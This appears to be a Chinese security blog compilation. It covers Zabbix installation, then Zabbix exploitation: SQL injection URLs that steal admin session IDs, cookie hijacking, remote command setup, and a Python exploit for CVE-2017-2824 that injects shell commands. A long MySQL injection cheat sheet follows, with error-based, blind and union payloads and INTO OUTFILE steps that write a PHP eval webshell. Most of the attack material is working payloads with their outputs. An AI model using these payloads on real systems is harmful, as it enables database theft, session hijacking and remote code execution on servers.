0x01 Zabbix安装部署


基础环境

yum install php php-mysql php-gd php-pear mysql mysql-server
groupadd zabbix
useradd -g zabbix zabbix
service mysqld start
service httpd start

Zabbix依赖

yum install -y curl curl-devel mydql-devel net-snmp snmp net-snmp-devel perl-DBI php-gd php-xml php-bcmath php-mbstring php-ldap php-odbc php-xmlrpc
tar -xvf zabbix-2.4.7.tar.gz

安装

cd zabbix-2.4.7/
./configure --prefix=/usr/local/zabbix --enable-server --enable-agent --enable-proxy --with-mysql --enable-net-snmp --with-libcurl 
make
make install

导入数据

mysql -uroot
>create database zabbix character set utf8 collate utf8_bin;
>use zabbix;
>source /root/zabbix-2.4.7/database/mysql/schema.sql
>source /root/zabbix-2.4.7/database/mysql/images.sql
>source /root/zabbix-2.4.7/database/mysql/data.sql

Web配置

cd frontends/php
cp -a . /var/www/html
cd /var/www/html/
chown apache:apache -R .

修改php.ini

post_max_size = 16M
max_execution_time = 300
max_input_time = 300
date.timezone = Asia/Shanghai
allow_url_fopen = On

访问http://172.16.100.181/setup.php进行安装,安装后默认登录凭证是Admin/zabbix

启动zabbix_server

cd /root/zabbix-2.4.7/misc/init.d/fedora/core
cp * /etc/init.d/

修改zabbix_server和zabbix_agentd

BASEDIR=/usr/local/zabbix

启动zabbix服务
配置Mysql连接
修改/usr/local/zabbix/etc/zabbix_server.conf

DBPassword=hehe123
DBSocket=/var/lib/mysql/mysql.sock

 

0x02 SQL注入


影响版本
1.8.5-1.8.9
利用前提
需要登录,默认口令 admin/zabbix或者是guest/空

使用Guest账户登录

报错注入

httpmon.php?applications=2 and (select 1 from (select count(*),concat((select(select concat(cast(concat(alias,0x7e,passwd,0x7e) as char),0x7e)) from zabbix.users LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

可以获取到加密后密码
zabbix的session是存储在zabbix.sessions表中的

mysql> select sessionid from zabbix.sessions where status=0 and userid=1 limit 0,1;
+----------------------------------+
| sessionid                        |
+----------------------------------+
| 0207b91351782e881d98cdbb1074b5bb |
+----------------------------------+
1 row in set (0.00 sec)

通过注入获取到zabbix.sessions中保存着用户的session信息

httpmon.php?applications=2 and (select 1 from (select count(*),concat((select(select concat(cast(concat(sessionid,0x7e,userid,0x7e,status) as char),0x7e)) from zabbix.sessions where status=0 and userid=1 LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

可以获取到session

session:00afc31ea35f3f156ebb5c4b3b119be3

然后进行Cookie欺骗 直接替换zbx_sessionid为这个00afc31ea35f3f156ebb5c4b3b119be3
成功以administrator登陆

Administrator–>Scripts Create script 添加command为反弹命令

然后去找触发点,例如在Monitoring–>Triggers或者Monitoring–>Events都可以,过滤的时候把条件设置的宽松一些,能够筛选出尽量多的主机。然后来到这里 可以执行刚才设置的指令

这里命令执行成功的前提是zabbix客户端zabbix_agentd.conf配置

EnableRemoteCommands=1

获取到的权限是zabbix agent的运行权限。

 

0x03 SQL注入


影响版本
2.2.x, 3.0.0-3.0.3
漏洞前提
需要登录,默认口令 admin/zabbix或者是guest/空
漏洞URL

http://*.*.*.*/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+(select%201%20from%20(select%20count(*),concat((select(select%20concat(cast(sessionid%20as%20char),0x7e))%20from%20zabbix.sessions%20where%20status=0%20and%20userid=1%20LIMIT%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

报错如下:
得到session为0000cfd165072547509ff0b7fef9ed96,修改使用Firefox下插件Cookies Manager+修改zbx_sessionid为该值,就能以管理员权限登录。

 

0x04 Zabbix Server Active Proxy Trapper Remote Code Execution Vulnerability


今天openvas扫描到zabbix的一个漏洞

CVE号

CVE-2017-2824

漏洞描述

zabbix_server启动时会监听在10051端口,该端口如果对外开放,攻击者可以利用zabbix协议的command功能调用数据库中特定的脚本,只需要提供interface表中的hostid参数。在调用脚本时,{HOST.CONN}会被替换成表中的ip。由于插入的ip数据没有被过滤则将发生命令注入,严重时可以反弹shell等。
所以这里需要先在interface表中插入恶意指令,默认情况下,未经身份验证(需通过Zabbix授权)的攻击者无法做到这一点。要利用该漏洞还需要以下条件:配置好Action的自动发现功能,该功能可以将恶意的数据插入到interface表(配合Add host操作),从而可以进行命令注入攻击。

漏洞利用的数据表:

mysql> select * from interface;
+-------------+--------+------+------+-------+-----------+-----+-------+------+
| interfaceid | hostid | main | type | useip | ip | dns | port | bulk |
+-------------+--------+------+------+-------+-----------+-----+-------+------+
| 1 | 10084 | 1 | 1 | 1 | 127.0.0.1 | | 10050 | 1 |
+-------------+--------+------+------+-------+-----------+-----+-------+------+
1 row in set (0.00 sec)

mysql> select * from scripts;
+----------+-------------------------+----------------------------------------+-------------+----------+---------+-------------+--------------+------+------------+
| scriptid | name | command | host_access | usrgrpid | groupid | description | confirmation | type | execute_on |
+----------+-------------------------+----------------------------------------+-------------+----------+---------+-------------+--------------+------+------------+
| 1 | Ping | /bin/ping -c 3 {HOST.CONN} 2>&1 | 2 | NULL | NULL | | | 0 | 1 |
| 2 | Traceroute | /usr/bin/traceroute {HOST.CONN} 2>&1 | 2 | NULL | NULL | | | 0 | 1 |
| 3 | Detect operating system | sudo /usr/bin/nmap -O {HOST.CONN} 2>&1 | 2 | 7 | NULL | | | 0 | 1 |
+----------+-------------------------+----------------------------------------+-------------+----------+---------+-------------+--------------+------+------------+
3 rows in set (0.00 sec)

受影响版本
Zabbix 2.4.7 – 2.4.8r1

测试过程
添加Proxy
Administration > proxies > Create proxy

创建Action
configuration > action > Event source(Discovery)> Create Action配置好条件和操作,操作为Add host

import socket
import struct
import json

ZABBIX_HOST = "172.16.100.181"
ZABBIX_PORT = 10051

def send_to_zabbix(data):

    client = socket.socket()
    client.connect((ZABBIX_HOST,ZABBIX_PORT))
    packet = "ZBXD\x01" + struct.pack('<Q', len(data)) + data
    client.sendall(packet)

    head = client.recv(1024)
    if "ZBXD" not in head:
        client.close()
        return head
    pkt_len = struct.unpack('<Q', client.recv(8))
    data = client.recv(pkt_len[0])
    client.close()
    return data

data = """{"request":"command","scriptid":1,"hostid":10107}"""

discovery = """{
    "request": "discovery data",
    "host": "{上面配置的Proxy的名称}",
    "clock":1485353070,
    "data": [
        {
            "clock":1485353070,
            "drule":2,
            "dcheck":2,
            "type":0,
            "ip":";whoami > /tmp/pwned;",        
            "dns":"abc.com.cc",
            "port":10050,
            "key":"zzztest",
            "status":0,
            "value":"fuck"
        }
    ]
    }
"""

#利用自动发现功能添加Host,需要修改host的值为上面配置的Proxy的名称,执行成功会返回SUCCESS,也可以‘select * from interface;’ 查看是否自动添加成功
print send_to_zabbix(discovery)

# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
#利用命令注入进行攻击,这里需要爆破hostid,例如这里我添加到interfaceid=2中的恶意命令的条目的hostid是10106,然后会获取该ip,替换 {HOST.CONN}并执行。
print send_to_zabbix(data)

恶意命令成功插入到interface表中。

mysql> select * from interface;
+-------------+--------+------+------+-------+-----------------------+------------+-------+------+
| interfaceid | hostid | main | type | useip | ip                    | dns        | port  | bulk |
+-------------+--------+------+------+-------+-----------------------+------------+-------+------+
|           1 |  10084 |    1 |    1 |     1 | 127.0.0.1             |            | 10050 |    1 |
|           2 |  10106 |    1 |    1 |     1 | ;whoami > /tmp/pwned; | abc.com.cc | 10050 |    1 |
+-------------+--------+------+------+-------+-----------------------+------------+-------+------+
2 rows in set (0.00 sec)

[root@vincent tmp]# cat /tmp/pwned 
zabbix

修复建议
删除掉scripts表中三个默认脚本

参考文章
https://www.vulbox.com/knowledge/detail/?id=9
http://bobao.360.cn/news/detail/4142.html

我们先来假设insert和update有两个以上的列,并且我们是知道列数和列名的,表结构如下:

mysql> select * from users;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | test | root@localhost |
| 2 | 0 | 123456 |
| 3 | 0 | pass |
| 4 | 0 | 0 |
+----+----------+----------------+
4 rows in set (0.00 sec)

insert

insert into users values (5,'{inject here}','password');

我们可以构造payload:

vinc',(select group_concat(distinct table_name) from information_schema.tables where table_schema = database()))-- -
mysql> select * from users where id = 5;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 5 | vinc | test,users |
+----+----------+------------+
1 row in set (0.00 sec)

 

update

update users set username='{injecthere}',password='pass' where id = 4;

我们可以构造payload:

vincent',password=(select group_concat(distinct table_name) from information_schema.tables where table_schema = database()) where id=4-- -
mysql> select * from users where id = 4;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 4 | vincent | test,users |
+----+----------+------------+
1 row in set (0.00 sec)

 

而如果insert和update只有一列的话,上面这种方式就不适用了。
这里可以利用位或运算符|或者位异或运算符^。
例如存在注入的环境如下:

insert into users values (17,'james', '{injecthere}');
update users set username='{injecthere}' where id = 4;

将字符串转换为整数:
String -> Hexadecimal -> Decimal

mysql> select conv(hex(version()), 16, 10);
+--------------------------------+
| conv(hex(version()), 16, 10) |
+--------------------------------+
| 58472576987956 |
+--------------------------------+

Decimal -> Hexadecimal -> String

mysql> select unhex(conv(58472576987956, 10, 16));
+-------------------------------------+
| unhex(conv(58472576987956, 10, 16)) |
+-------------------------------------+
| 5.5.34 |
+-------------------------------------+

需要注意的是,字符串的最大长度为8

mysql> select conv(hex('xxxxxxxx'), 16, 10);
+-------------------------------+
| conv(hex('xxxxxxxx'), 16, 10) |
+-------------------------------+
| 8680820740569200760 |
+-------------------------------+
1 row in set (0.00 sec)

当超过8位时,就是BIGINT的最大值

mysql> select conv(hex('xxxxxxxxx'), 16, 10);
+--------------------------------+
| conv(hex('xxxxxxxxx'), 16, 10) |
+--------------------------------+
| 18446744073709551615 |
+--------------------------------+
1 row in set (0.00 sec)

所以只能够每8位依次读取

select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);
mysql> select conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)), 16, 10);
+--------------------------------------------------------+
| conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)), 16, 10) |
+--------------------------------------------------------+
| 8245931987826405219 |
+--------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select conv(hex(substr(user(),1 + (2-1) * 8, 8 * 2)), 16, 10);
+--------------------------------------------------------+
| conv(hex(substr(user(),1 + (2-1) * 8, 8 * 2)), 16, 10) |
+--------------------------------------------------------+
| 107118236496756 |
+--------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select concat(unhex(conv(8245931987826405219, 10, 16)),unhex(conv(107118236496756, 10,16)));
+--------------------------------------------------------------------------------------+
| concat(unhex(conv(8245931987826405219, 10, 16)),unhex(conv(107118236496756, 10,16))) |
+--------------------------------------------------------------------------------------+
| root@localhost |
+--------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

我们可以利用位或运算符|构造payload如下:

' | conv(hex(database()), 16, 10) | '
mysql> insert into users values (22,'james', '' | conv(hex(database()), 16, 10) | '');
Query OK, 1 row affected, 2 warnings (0.00 sec)
mysql> select * from users where id = 22;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 22 | james | 1952805748 |
+----+----------+------------+
1 row in set (0.00 sec)

然后我们转换为字符串

mysql> select unhex(conv(1952805748, 10,16));
+--------------------------------+
| unhex(conv(1952805748, 10,16)) |
+--------------------------------+
| test |
+--------------------------------+
1 row in set (0.00 sec)

同样可以使用位异或运算符^

mysql> insert into users values (23,'james', '' ^ conv(hex(database()), 16, 10) ^ '');
Query OK, 1 row affected, 2 warnings (0.00 sec)
mysql> select * from users where id = 23;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 23 | james | 1952805748 |
+----+----------+------------+
1 row in set (0.00 sec)

Limitations in MySQL 5.7
这种工作方式在5.7.5之后的版本无法使用。

mysql> select version();
+-----------+
| version() |
+-----------+
| 5.7.17 |
+-----------+
1 row in set (0.00 sec)
mysql> insert into user(user,host) values ('vincent','xx' | conv(hex(database()), 16, 10));
ERROR 1292 (22007): Truncated incorrect INTEGER value: 'xx'

因为在之后的版本Mysql默认是工作在Strict SQL Mode。在MySQL 5.7.17中,默认的SQL模式包括“strict_trans_tables”。

mysql> SELECT @@SESSION.sql_mode\G
*************************** 1. row ***************************
@@SESSION.sql_mode: ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION
1 row in set (0.00 sec)

如果要解决这个问题,必须注入整数才能成功。

mysql> describe user;
+----------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+-------+
| id | int(11) | YES | | NULL | |
| username | varchar(500) | YES | | NULL | |
| password | varchar(500) | YES | | NULL | |
+----------+--------------+------+-----+---------+-------+
3 rows in set (0.00 sec)
mysql> insert into user values (0,'0' | conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)),16, 10),'pass');
Query OK, 1 row affected (0.04 sec)
mysql> select * from user;
+------+---------------------+----------+
| id | username | password |
+------+---------------------+----------+
| 0 | 8245931987826405219 | pass |
+------+---------------------+----------+
1 row in set (0.01 sec)

参考文章


https://xianzhi.aliyun.com/forum/read/729.html?fpage=4
https://osandamalith.com/2017/02/08/mysql-injection-in-update-insert-and-delete/

insert


这里我们用updatexml来演示
使用逻辑运算符(and or xor && ||)

mysql> insert into users values (3,'name' xor updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'
mysql> insert into users values (5,'name' and updatexml(2,concat(0x7e,(version())),0) and '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

使用算数运算符(+ – * /)

mysql> insert into users values (3,'name'+updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'
mysql> insert into users values (3,'name'*updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

使用位运算符连接(| &)

mysql> insert into users values (3,'name'&updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'
mysql> insert into users values (3,'name'|updatexml(2,concat(0x7e,(version())),0) xor '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

update


mysql> update users set username = 'name' and updatexml(2,concat(0x7e,(version())),0) and '' where id = 5;
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

delete


mysql> delete from users where id = 5 or updatexml(2,concat(0x7e,(version())),0) or '';
ERROR 1105 (HY000): XPATH syntax error: '~5.5.40-log'

 

这里需要注意,insert和delete都可以读取当前表的数据,但是update不行,因为在update的子查询中不能出现相同的表名。
使用insert获取当前表的数据,如下:

mysql> insert into users values (5,'name' or updatexml(2,concat(0x7e,(select concat_ws(0x7e,id,username,password) from users limit 0,1)),0) or '','pass');
ERROR 1105 (HY000): XPATH syntax error: '~1~0~root@localhost'

使用delete获取当前表的数据,如下:

mysql> delete from users where id = 5 or updatexml(2,concat(0x7e,(select concat_ws(0x7e,id,username,password) fromusers limit 0,1)),0);
ERROR 1105 (HY000): XPATH syntax error: '~1~0~root@localhost'

而使用update获取不到,如下:

mysql> update users set username = 'test' or updatexml(2,concat(0x7e,(select concat_ws(0x7e,id,username,password) from users limit 0,1)),0) where id = 5;
ERROR 1093 (HY000): You can't specify target table 'users' for update in FROM clause

这里可以使用:

mysql> update users set username = 'test' or updatexml(2,concat(0x7e,(select concat_ws(0x7e,id,username,password) f
rom (select * from users)xx limit 0,1)),0) where id = 5;
ERROR 1105 (HY000): XPATH syntax error: '~1~test~root@localhost'

或者用主键重复的报错注入也可以

mysql> update users set username = 'test' and (SELECT 1 FROM(SELECT count(*),concat((SELECT (SELECT (SELECT concat_ws(0x7e,id,username,password) FROM users LIMIT 0,1) ) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) and '' where id = 5;
ERROR 1062 (23000): Duplicate entry '1~0~root@localhost1' for key 'group_key'

当然我们之前也介绍过报错注入的姿势,用其他的报错语句同样可以达到效果。

参考文章


http://static.hx99.net/static/drops/tips-2078.html

测试表结构如下:

mysql> select * from users;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
| 2 | 0 | 123456 |
+----+----------+----------------+
2 rows in set (0.00 sec)

insert


使用逻辑运算符(and or xor && ||)连接如下:
需要注意如果使用And或者&&的话,这里分为两种情况
1)存在注入的字段为字符型。

insert : insert into users values (1,'{injecthere}','password');

那么逻辑运算符不能使用and和&&,可以使用or || xor , 因为字符型在进行逻辑运算时会当做0来处理,所以无法执行and后的sleep。

mysql> insert into users values (5,'name' and sleep(2),'pass');
Query OK, 1 row affected, 1 warning (0.00 sec)

可以看到没有延迟。

2)存在注入的字段为Int型。

insert into users values ({injecthere},'Vinc','password');

这里可以使用and && || or xor。
需要注意如果逻辑运算符使用And或者&&,那么注入的数不能为0。

mysql> insert into users values (-1 and sleep(2),'vinc','password');
Query OK, 1 row affected (2.00 sec)

可以看到延迟2S。

mysql> insert into users values (0 and sleep(2),'vinc','password');
Query OK, 1 row affected (0.00 sec)

可以看到没有延迟。

一般建议使用or || xor测试

mysql> insert into users values (18,'vinc' xor sleep(2),'password');
Query OK, 1 row affected, 1 warning (2.00 sec)

 

使用算数运算符(+ – * /)连接如下

mysql> insert into users values (4,'name'+sleep(2),'pass');
Query OK, 1 row affected, 1 warning (2.00 sec)
mysql> insert into users values (8,'name'*sleep(2),'pass');
Query OK, 1 row affected, 1 warning (2.00 sec)
mysql> select * from users where id = 8 ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 8 | 0 | pass |
+----+----------+----------+
1 row in set (0.00 sec)

这里插入的username为0

 

使用位运算符连接(| &)如下

mysql> insert into users values (12,'vinc' | sleep(2),'password');
Query OK, 1 row affected, 1 warning (2.00 sec)
mysql> insert into users values (13,'vinc' & sleep(2),'password');
Query OK, 1 row affected, 1 warning (2.00 sec)

update


和insert的用法相同。

update users set username = '{injecthere}' where id = 1;

mysql> update users set password = 'Vinc' or sleep(2) where id = 4;
Query OK, 0 rows affected, 1 warning (2.00 sec)
Rows matched: 1 Changed: 0 Warnings: 1
mysql> update users set password = 'Vinc' or if(ord(substr(version()from(1)for(1)))=53,sleep(2),1) where id = 4;
Query OK, 0 rows affected, 1 warning (2.00 sec)
Rows matched: 1 Changed: 0 Warnings: 1

delete


delete : delete from users where id > {injecthere} ;

delete的注入位置位于where后所以和select是一样的。

mysql> delete from users where id = 5 and sleep(2);
Query OK, 0 rows affected (2.00 sec)

因为sleep()函数返回0,所以这里无法删除成功。

参考文章


https://osandamalith.com/2017/03/13/mysql-blind-injection-in-insert-and-update-statements/

算数运算符



mysql> select 1+2;

mysql> select 2-1;

mysql> select 2*3;

mysql> select 5/3;

mysql> SELECT 5 DIV 2;

mysql> select 5%2,mod(5,2);

比较运算符


等于
mysql> select 1=0,1=1,null=null;
不等于
mysql> select 1<>0,1<>1,null<>null;
安全等于
mysql> select 1<=>1,2<=>0,0<=>0,null<=>null;
小于
mysql> select ‘a'<‘b’,’a'<‘a’,’a'<‘c’,1<2;
小于等于
mysql> select ‘bdf'<=’b’,’b'<=’b’,0<1;
大于
mysql> select ‘a’>’b’,’abc’>’a’,1>0;
大于等于
mysql> select ‘a’>=’b’,’abc’>=’a’,1>=0,1>=1;
BETWEEN
mysql> select 10 between 10 and 20, 9 between 10 and 20;
IN
mysql> select 1 in (1,2,3), ‘t’ in (‘t’,’a’,’b’,’l’,’e’), 0 in (1,2);
IS NULL
mysql> select 0 is null,null is null;
IS NOT NULL
mysql> select 0 is not null, null is not null;
LIKE
mysql> select 123456 like ‘123%’, 123456 like ‘%123%’, 123456 like ‘%321%’;
REGEXP
mysql> select ‘abcdef’ regexp ‘ab’, ‘abcdefg’ regexp ‘k’;

逻辑运算符



mysql> select not 0, not 1, not null;
mysql> select ! 0, ! 1, ! null;

mysql> select (1 and 1), (0 and 1), (3 and 1), (1 and null);
mysql> select (1 && 1), (0 && 1), (3 && 1), (1 && null);

mysql> select (1 or 0), (0 or 0), (1 or null), (1 or 1), (null or null);
mysql> select (1 || 0), (0 || 0), (1 || null), (1 || 1), (null || null);
异或
mysql> select (1 xor 1), (0 xor 0), (1 xor 0), (0 xor 1), (null xor 1);
两者满足其一,不同时满足。

位运算符


位与
mysql> select 2&3;
mysql> select 2&3&4;
参加运算的两个数据,按二进制位进行“与”运算。
运算规则:0&0=0; 0&1=0; 1&0=0; 1&1=1;
即:两位同时为“1”,结果才为“1”,否则为0
例如:3&5 即 0000 0011 & 0000 0101 = 0000 0001 因此,3&5的值得1。

位或
mysql> select 2|3;
参加运算的两个对象,按二进制位进行“或”运算。
运算规则:0|0=0; 0|1=1; 1|0=1; 1|1=1;
即 :参加运算的两个对象只要有一个为1,其值为1。
例如:3|5 即 0000 0011 | 0000 0101 = 0000 0111 因此,3|5的值得7。

位异或
mysql> select 2^3;
参加运算的两个数据,按二进制位进行“异或”运算。
运算规则:0^0=0; 0^1=1; 1^0=1; 1^1=0;
即:参加运算的两个对象,如果两个相应位为“异”(值不同),则该位结果为1,否则为0。

位取反
mysql> select ~0;
+———————-+
| ~0 |
+———————-+
| 18446744073709551615 |
+———————-+
1 row in set (0.00 sec)

位右移
mysql> select 100>>3;
将一个运算对象的各二进制位全部右移若干位,a >> 2 将a的二进制位右移2位,右边丢弃。
mysql> select 9 >> 2 ;
+——–+
| 9 >> 2 |
+——–+
| 2 |
+——–+
1 row in set (0.00 sec)

位左移
mysql> select 100<<3;
将一个运算对象的各二进制位全部左移若干位,a << 2 将a的二进制位左移2位,右补0。
mysql> select 3 << 2 ;
+——–+
| 3 << 2 |
+——–+
| 12 |
+——–+
1 row in set (0.00 sec)

运算符优先级顺序


最高优先级 :=
1 ||, OR, XOR
2 &&, AND
3 BETWEEN, CASE, WHEN, THEN, ELSE
4 =, <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN
5 |
6 &
7 <<, >>
8 -, +
9 *, /, DIV, %, MOD
10 ^
11 – (unary minus), ~ (unary bit inversion)
12 !, NOT
最低优先级 BINARY, COLLATE

 

注释符:


#
/*

 

多条数据显示:


mysql> select group_concat(user(),version());
+--------------------------------+
| group_concat(user(),version()) |
+--------------------------------+
| root@localhost5.5.40-log |
+--------------------------------+
1 row in set (0.00 sec)

mysql> select concat_ws(0x7e,user(),version());
+----------------------------------+
| concat_ws(0x7e,user(),version()) |
+----------------------------------+
| root@localhost~5.5.40-log |
+----------------------------------+
1 row in set (0.00 sec)

 

相关函数:


user()、system_user()、current_user 用户名
version()、@@version 版本
database() 数据库
ascii()、ord() 获取ASCII
substr()、substring()、mid() FIND_IN_SET(str,strlist) strscmp(str1,str2)提取字符

 

联合查询:


获取注入所在表的字段数:

mysql> select * from users where id = 1 order by 3;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)

mysql> select * from users where id = 1 order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'

然后从页面中获取能够回显出来的字段

mysql> select * from users where id = 1 and 1=2 union select 1,2,concat_ws(0x7e,user(),database(),version()) ;
+----+----------+--------------------------------+
| id | username | password |
+----+----------+--------------------------------+
| 1 | 2 | root@localhost~test~5.5.40-log |
+----+----------+--------------------------------+
1 row in set (0.00 sec)

 

布尔盲注:


盲注是指数据不会直接回显到页面中,而是通过比对页面返回的不同而判断是否存在SQL注入,例如:
1)返回数据包的Content-Length是否相同
2)返回数据包的状态码是否相同,例如在一些查询中如果使用 or 1=1这样的payload就可能会造成服务端返回500以上的错误。
3)返回数据包HTTP头中的内容是否相同,这个在使用Burp时经常会有误报就是因为比对到了Set-cookie头。
逻辑运算符有and or xor && ||
比较运算符有like rlike > < = regexp in between等
通常获取数据的方式是通过ascii比对。

mysql> select * from users where id = 1 and substr(user()from(1)for(1)) regexp '[a-z]';
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)
mysql> select * from users where id = 1 and substr(user()from(1)for(1)) regexp '[1-9]';
Empty set (0.00 sec)

这里使用from for绕过对逗号的过滤。
这里也可以将正则修改为16进制。

mysql> select * from users where id = 1 and substr(user()from(1)for(1)) regexp 0x5b612d7a5d;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)

比对ascii

mysql> select * from users where id = 1 and ord(mid(version()from(1)for(1))) = 53;

find_in_set函数,如果相同则返回1 不同则返回0

mysql> select * from users where id = 1 and find_in_set(53,ord(substr(version()from(1)for(1))));
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)

mysql> select * from users where id = 1 and find_in_set(52,ord(substr(version()from(1)for(1))));
Empty set (0.00 sec)

strcmp函数,如果两个值相同则返回0

mysql> select * from users where id = 1 and strcmp(53,ord(substr(version()from(1)for(1))));
Empty set (0.00 sec)

mysql> select * from users where id = 1 and strcmp(54,ord(substr(version()from(1)for(1))));
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (0.00 sec)

 

时间盲注:


sleep(5)和benchmark(1000000,sha(1))

mysql> select * from users where id = 1 and if(ord(substring(version()from(1)for(1)))=53,benchmark(10000000,sha(1)),1);
Empty set (3.46 sec)

如果执行的是or sleep(2)就可能造成服务端不可用。因为不满足id = 1的条目都会sleep(2),例如:
查看当前users表存在4条。

mysql> select * from users;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
| 2 | 0 | 123456 |
| 3 | 0 | pass |
| 4 | 0 | 0 |
+----+----------+----------------+
4 rows in set (0.00 sec)
mysql> select * from users where id = 1 or if(ord(substring(version()from(1)for(1)))=53,sleep(2),1);
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 0 | root@localhost |
+----+----------+----------------+
1 row in set (6.00 sec)

可以看到有三个条目不满足id = 1,所以延迟了6S。而如果存在数万条的话,就可能会对服务器异常。

这里需要知道的是sleep和benchmark都会返回0,所以如果使用and的话查询结果为空。

mysql> select sleep(2);
+----------+
| sleep(2) |
+----------+
| 0 |
+----------+
1 row in set (2.00 sec)

mysql> select benchmark(10000000,sha(1));
+----------------------------+
| benchmark(10000000,sha(1)) |
+----------------------------+
| 0 |
+----------------------------+
1 row in set (3.53 sec)

报错注入:


【SQL注入】报错注入姿势总结

1)无order by
可以使用union select,例如:

mysql> SELECT 1 from mysql.user limit 0,1 union select 234;
+-----+
| 1 |
+-----+
| 1 |
| 234 |
+-----+
2 rows in set (0.00 sec)

GETSHELL:

mysql> SELECT 1 from mysql.user limit 0,1 union select 0x3c3f706870206576616c28245f504f53545b277a275d293b3f3e from mysql.user into outfile '/tmp/z.php';
Query OK, 2 rows affected (0.00 sec)

2)有order by
UNION语句不能在ORDER BY的后面,如下所示:

mysql> SELECT 1 from mysql.user order by 1 limit 0,1 union select 234;
ERROR 1221 (HY000): Incorrect usage of UNION and ORDER BY

我们可以使用PROCEDURE ANALYSE,通过分析select查询结果对现有的表的每一列给出优化的建议。

支持报错

mysql> SELECT 1 from mysql.user order by 1 limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 
ERROR 1105 (HY000): XPATH syntax error: ':5.1.73-log'

不支持报错,用time-based

mysql> SELECT 1 from mysql.user order by 1 limit 0,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(50000000,SHA1(1)),1))))),1);
ERROR 1105 (HY000): XPATH syntax error: ':0'

注意这里不能用sleep而只能用benchmark。

GETSHELL:

mysql> SELECT 1 from mysql.user order by 1 limit 0,1 into outfile '/tmp/2.php' LINES TERMINATED BY 0x3C3F7068702061737365727428245F504F53545B70765D293B3F3E;
Query OK, 1 row affected (0.00 sec)

主键重复:

mysql> select host from user where user = 'root' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.731' for key 'group_key'

mysql> select * from users where id = 1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1;
ERROR 1062 (23000): Duplicate entry '5.5.40-log~1' for key 'group_key'

整形溢出:

select host from user where user = 'root' and Exp(~(select * from (select version())a));
#1690 - DOUBLE value is out of range in 'exp(~((select '5.5.40-log' from dual)))'

需要注意从5.5.5版本后整形溢出才会报错。


xpath处理函数(extractvalue和updatexml):

从mysql5.1.5开始提供两个XML查询和修改的函数,其中extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容。

mysql> select * from mysql.user where user = 'root' and extractvalue(1,concat(0x5c,user()));
ERROR 1105 (HY000): XPATH syntax error: '\root@localhost'
mysql> select * from mysql.user where user = 'root' and updatexml(1,concat(0x5c,user()),1);
ERROR 1105 (HY000): XPATH syntax error: '\root@localhost'

这里有一点需要注意:
concat(0x5c,user())如果不加concat的话获取到的信息是不全的。

mysql> select * from mysql.user where user = 'root' and extractvalue(1,version());
ERROR 1105 (HY000): XPATH syntax error: '.40-log'

如果concat被过滤了,可以使用其他函数代替

1)MAKE_SET(bits,str1,str2,…)

mysql> SELECT MAKE_SET(1,'a','b','c');

-> 'a'

